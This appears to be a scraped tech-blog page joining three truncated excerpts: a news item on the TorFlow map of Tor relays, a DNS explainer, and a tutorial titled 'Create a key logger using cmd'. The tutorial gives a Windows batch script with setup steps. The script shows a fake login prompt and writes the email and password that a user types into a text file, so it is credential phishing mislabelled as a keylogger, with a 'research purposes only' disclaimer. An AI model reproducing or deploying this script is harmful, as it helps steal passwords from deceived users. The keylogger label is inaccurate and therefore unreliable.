How tor works

 Using the publicly available data, data visualization software firm Uncharted has prepared TorFlow — a map for visualizing how TOR’s data looks as it flows all across the world. It shows TOR network’s node and data movements based on the IP addresses of relays bouncing around the connections of users to avoid spying.
TOR is the world’s most widely used tool for anonymity purposes . It has grown into a powerful network that’s spread all over the world. Surprisingly, the TOR project is transparent about the location of the TOR nodes and thousands of machines that power the network. This non-profit organization frequently published an updated list about the bandwidth and location of the computers and data centers spread all across the world.
Using the same public data, TorFlow maps the TOR network’s nodes and data flow all around the world. This data movement is measured based on the IP addresses and bandwidth of the relay computers bouncing around the connections of users to avoid snooping, according to Wired.
“The whole point of the Tor network is to remain anonymous,” says David Schroh, one of Uncharted’s software engineers who built TorFlow. “But by visualizing it, can you see patterns you wouldn’t expect.”
It should be noted that Europe shows an unprecedented love for privacy. While the US has more than 1,300 nodes out of the total 6,000, countries like Germany, France, Netherlands, and England are the biggest hubs.
The TorFlow map also shows the growth of TOR over the years and it’s continuously expanding in Asian and African regions.
How to use TorFlow map to know more about TOR?
The above visualization shows the information flow between different relay servers for a selected day. In the live visualization map as you hover over a circle, more information is shown. Also, each colored country represents a region that is responsible for N client connections.
You can click on the country to see the above distributions by time and outlier counts. Using the date slider at the bottom, you can select the simulation date.

Create a key logger using cmd

Here is a basic  keylogger  script for beginners to understand the basics of how keylogging works in notepad. This script should be used for research purposes only. @echo off color a title Login cls echo Please Enter Email Adress And Password echo. echo. cd "C:Logs" set /p user=Username: set /p pass=Password: echo Username="%user%" Password="%pass%" >> Log.txt start >>Program Here<< exit Step 1:  Now paste the above code into Notepad and save it as a  Logger.bat  file. Step 2:  Make a new folder on the desktop and name it Logs ( If the folder is not called Logs, then it will not work.) Step 3:  Drag that folder in to the  C: Step 4:  Test out the  Logger.bat ! Related  All-in-one Messenger - FacebookMessenger, WhatsApp, Skype and many more in one window Step 5:  Alright, now once you test it, you will go back into the Logs folder in the  C: and a  .txt  file w...

What is DNS

D NS stands for Domain Name System is used to as the medium to translate domain names to their respective IP addresses when a client initiates a request query. DNS stores the database of all the domain names and their IP addresses which are registered on the network. Most of us are quite familiar with the term DNS or Domain Name System. DNS can be thought of as an attendance register for various websites present over the internet. In the case of DNS, it maintains the database of all the websites Domain Names and their IP (Internet Protocol) addresses that are operational all over the world. Historical Notes The origins of DNS date back to the time of the ARPANET  when there were only a few computers to get an entry in the database. A HOSTS.TXT file was maintained by Stanford Research Institute, which constituted the data of all the machines, and was copied by all the host machines to remain updated. Jon Postel from the Information Sciences Institute requested Pau...
